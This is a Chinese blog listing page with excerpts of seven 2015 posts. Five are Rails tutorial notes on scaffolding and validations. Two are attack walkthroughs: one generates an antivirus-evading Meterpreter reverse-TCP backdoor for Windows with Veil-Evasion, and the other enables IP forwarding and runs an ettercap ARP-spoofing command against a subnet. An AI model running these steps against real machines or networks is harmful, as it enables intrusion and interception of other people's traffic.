- 博客(7)
- 收藏
- 关注
原创 rails学习笔记:维护商品信息任务C
创建商店控制器 rails generate controller store index 修改../config/routes.rb 使http://localhost:3000/store/index 成为根目录 加 root 'store#index' Rails.application.routes.draw do get 'store/index' resour
2015-09-26 14:02:35 610
原创 rails学习笔记:维护商品信息任务B
修改数据模型 /app/models/product.rb class Product validates :title, :description, :image_url, :presence => true validates :price, :numericality => {:greater_than_or_equal_to => 0.01} validates :
2015-09-15 23:30:31 395
原创 rails学习笔记:维护商品信息任务A
rails new depot cd depot 生成脚手架 rails generate scaffold Product title:string description:text image_url:string price:decimal 在 ../depot/db/migrate/ 中会生成迁移文件 20150912100114_create_products.rb
2015-09-12 17:58:30 525
原创 rails 第一个动作
切换至工程目录myDemo rails generate controller Say hello 创建 say控制器 带函数hello 在 ../myDemo/app/controllers/ 中会生成对应的文件 say_controller.rb ../myDemo/app/views/say/ 中生成对应的hello.html.erb 编辑 say_control
2015-09-11 09:15:25 391
原创 Rails 新建项目
rails new myDemo 在当前目录创建新工程 名为 myDemo 进入myDemo中 编辑Gemfile 文件 修改其中的源 source 'https://rubygems.org' 改为 source 'https://ruby.taobao.org' 终端切进 myDemo目录 bundle install rails s 启动 打开 http
2015-09-11 08:50:20 486
原创 Metasploit使用后门程序渗透Windows
终端中运行 veil-evasion 输入list查看可用模块 这里使用 7) c/shellcode_inject/flatc 输入 use 7 generate 1 (default) 回车选择默认的 windows/meterpreter/reverse_tcp tab 选择本地IP 也可以自己输入指定IP 端口 用默认的 4444 回车 回车 G
2015-09-11 08:45:51 3860
原创 ettercap进行arp欺骗攻击
开启IP转发 echo 1 >/proc/sys/net/ipv4/ip_forward Cat 查看内容 cat /proc/sys/net/ipv4/ip_forward ettercap -i wlan0 -Tq -M arp:remote /172.19.73.1-253/ /172.19.73.254/ 其中: -Tq -- 》-T
2015-09-11 08:25:17 5299
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人